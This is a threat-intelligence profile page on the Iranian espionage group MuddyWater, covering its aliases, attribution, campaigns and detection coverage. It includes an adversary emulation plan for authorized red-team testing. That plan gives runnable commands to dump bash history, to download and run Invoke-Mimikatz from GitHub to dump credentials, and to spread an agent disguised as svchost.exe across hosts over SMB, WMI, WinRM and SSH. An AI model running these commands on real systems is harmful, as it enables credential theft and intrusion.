Home/Threat Actor/MuddyWater
Threat Actor

MuddyWater

muddywater · iran · active since 2017

MuddyWater (Mango Sandstorm / MERCURY / Static Kitten / Seedworm / Earth Vetala / TEMP.Zagros / TA450 / MuddyKrill / G0069) is an Iranian state-sponsored cyber-espionage actor formally attributed to Iran's Ministry of Intelligence and Security (MOIS) as a subordinate element by joint US CYBERCOM/FBI/CISA/NCSC advisory AA22-055A (February 2022)

active since at least 2017, MuddyWater sustains long-running collection operations against government, telecommunications, defense, oil and gas, and critical infrastructure primarily in the Middle East with secondary reach to South Asia, Europe, Africa, and North America.

documented operations include the POWERSTATS PowerShell framework era, the 2022 Log4Shell-based destructive attacks against Israeli organizations (MERCURY / DEV-1084 coordination), the PhonyC2 / MuddyC2Go / DarkBeatC2 C2 framework iteration cycle, the 2024 BugSleep / MuddyRot custom backdoor, sustained abuse of legitimate RMM tools (Atera, ConnectWise ScreenConnect, RemoteUtilities, Syncro, SimpleHelp) as a doctrinal LOTL tradecraft model, and the late-2025 / early-2026 adoption of Starlink satellite internet for C2 obfuscation.

iran confidence: high 19 aliases MITRE ATT&CK G0069 ↗

Profile

MuddyWater is an Iranian state-sponsored cyber-espionage actor formally attributed to Iran's Ministry of Intelligence and Security (MOIS) as a subordinate element by US CYBERCOM's Cyber National Mission Force in January 2022, followed by the joint FBI/CISA/CNMF/NCSC AA22-055A advisory in February 2022. Active since at least 2017, MuddyWater is among the most prolific Iranian cyber-espionage clusters in public reporting. Microsoft tracks the group as Mango Sandstorm (formerly MERCURY).

The group has compromised victims across government (especially local and municipal), telecommunications, defense, oil and gas, critical infrastructure, NGOs, and academic targets primarily in the Middle East, with extensive operations against Saudi Arabia, the UAE, Israel, Turkey, Jordan, Lebanon, Iraq, and Egypt, while also reaching South Asia, Europe, Africa, and North America.

MuddyWater's tradecraft has evolved through three rough phases: (Phase I, 2017-2022) a script-centric era dominated by PowerShell and VBS, anchored by the POWERSTATS framework and supplemented by PowGoop, Small Sieve, Canopy/Starwhale, and Mori; (Phase II, 2023-2024) a doctrinal shift toward legitimate Remote Monitoring and Management (RMM) tool abuse, registering free-tier Atera accounts and deploying ConnectWise ScreenConnect, RemoteUtilities, Syncro, SimpleHelp, AnyDesk, Splashtop, and others as primary initial-access and persistence mechanisms, alongside the introduction of the BugSleep / MuddyRot custom backdoor and rapid C2 framework iteration through PhonyC2
  • MuddyC2Go.
  • DarkBeatC2; (Phase III, 2024-2026) continued custom-malware iteration alongside RMM abuse, with notable infrastructure changes including the late-2025 / early-2026 adoption of commercial Starlink satellite internet for C2 communication. The group regularly operates in coordination with adjacent Iranian intrusion clusters. Microsoft's April 2023 disclosure of MERCURY (MuddyWater) coordinating with DEV-1084 to conduct destructive operations against Israeli hybrid environments, using wipers masquerading as ransomware, demonstrates MuddyWater's occasional role as the access-development partner for destructive Iranian operations, paralleling the Russian initial-access / deep-access labor division. Geopolitical escalation (the 2023 Hamas attacks and subsequent Israel-Iran regional conflict) drove significant operational tempo increases and infrastructure refresh cycles in 2023-2026.

Aliases

19
muddywatermuddy waterearth vetalamercurystatic kittenseedwormtemp.zagrostemp zagrostempzagrosmango sandstormta450muddykrillboggy serpensboggyserpenscobalt ulsteritg17yellow nixg0069apt-muddywater

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'

Notable Campaigns

15
2025-2026Starlink Satellite Internet for C2 (Late 2025 - Early 2026)
2024DarkBeatC2 Attack Framework (April 2024)
2024BugSleep / MuddyRot Custom Backdoor (July 2024)
2023-2025Sustained Atera and ConnectWise RMM Abuse (2023-2025)
2023PhonyC2 Framework Disclosure (June 2023)
2023MuddyC2Go Used Against Israeli Targets (November 2023)
2022AA22-055A, Iranian Government-Sponsored Actors Conduct Cyber Operations (February 2022)
2022Targeting Turkish Government and Private Organizations (January 2022)
2022Log4Shell Exploitation Against Israeli Targets (Microsoft Mercury Mar 2022)
2022US CYBERCOM CNMF MOIS Attribution (January 2022)
2021Earth Vetala, Continued Middle East Targeting (March 2021)
2019MuddyWater Adds Exploits to Their Arsenal (2019)
2018Lebanon and Oman Two-Stage Campaign (November 2018)
2018Seedworm, Government Agencies, Oil & Gas, NGOs, Telecoms (December 2018)
2017Initial Public Disclosure, Middle East Targeting (November 2017)

Attribution & Reporting

Attributed by
US Cyber CommandUS Cyber National Mission Force (CNMF)FBICISANSAUS TreasuryUK NCSCFive EyesMicrosoftMandiantCrowdStrikeCisco TalosPalo Alto Networks Unit 42Symantec / BroadcomCheck Point ResearchTrend MicroSentinelOneClearSkyGroup-IBDeep InstinctSekoia TDRHarfangLabRecorded FutureInsikt GroupReaqtaAnomaliSecuronixHunt.ioKaspersky
Key reporting
reportPalo Alto Networks Unit 42: Muddying the Water, Targeted Attacks in the Middle East (November 2017)
reportPalo Alto Networks Unit 42: The MuddyWater Binder Project (February 2018)
reportSymantec DeepSight: Seedworm, Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms (December 2018)
reportClearSky: MuddyWater Operations in Lebanon and Oman (November 2018)
reportClearSky: Iranian APT Group 'MuddyWater' Adds Exploits to Their Arsenal (June 2019)
reportReaqta: A Dive into MuddyWater APT Targeting Middle-East (November 2017)
reportTrend Micro: Earth Vetala, MuddyWater Continues to Target Organizations in the Middle East (March 2021)
reportTrend Micro: Cyclops Blink and the MuddyWater APT Overlap (March 2022)
reportCisco Talos: Iranian APT MuddyWater Targets Turkish Users via Malicious PDFs (January 2022)
reportCisco Talos: MuddyWater Targets the UAE (multiple 2018-2022)
reportCisco Talos: MuddyWater Targets Tajikistan / Armenia (October 2022)
reportUS Cyber National Mission Force: Iranian Intel Cyber Suite of Malware Uses Open-Source Tools (January 2022)
reportCISA / FBI / CNMF / NCSC AA22-055A: Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Networks (February 2022)
reportMicrosoft Security: MERCURY Leveraging Log4j 2 Vulnerabilities Against Israeli Organizations (August 2022)
reportMicrosoft Security: MERCURY and DEV-1084, Destructive Attack on Hybrid Environment (April 2023)
reportMicrosoft Threat Actor Naming Taxonomy (Mango Sandstorm)
reportDeep Instinct: PhonyC2, Revealing a New Malicious C2 Framework by MuddyWater (June 2023)
reportDeep Instinct: MuddyC2Go, Latest C2 Framework Used by Iranian APT MuddyWater Spotted in Israel (November 2023)
reportDeep Instinct: DarkBeatC2, The Latest MuddyWater Attack Framework (April 2024)
reportCheck Point Research: New BugSleep Backdoor Deployed in Recent MuddyWater Campaigns (July 2024)
reportSekoia TDR: MuddyWater BugSleep / MuddyRot Backdoor (July 2024)
reportHarfangLab: MuddyWater Campaign Abusing Atera Agents (March 2025)
reportProofpoint: TA450 Uses Embedded Links in PDF Attachments (March 2024)
reportSentinelOne: MuddyWater, Cyber Army of Iran
reportHunt.io: Iranian APT Infrastructure Mapping (March 2026)
reportGroup-IB: MuddyWater APT, Threat Profile
reportAnomali: MuddyWater BindViewer Tool Analysis
reportRecorded Future: MuddyWater Iran Malware C2 Infrastructure
reportEuRepoC: APT Profile, MuddyWater

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)58/60 · 96%
Analytics (MITRE CAR)33/60 · 55%
Runtime / container (Falco)4/60 · 6%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)14/60 · 23%
Vuln scan (Nuclei)0/60 · 0%

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
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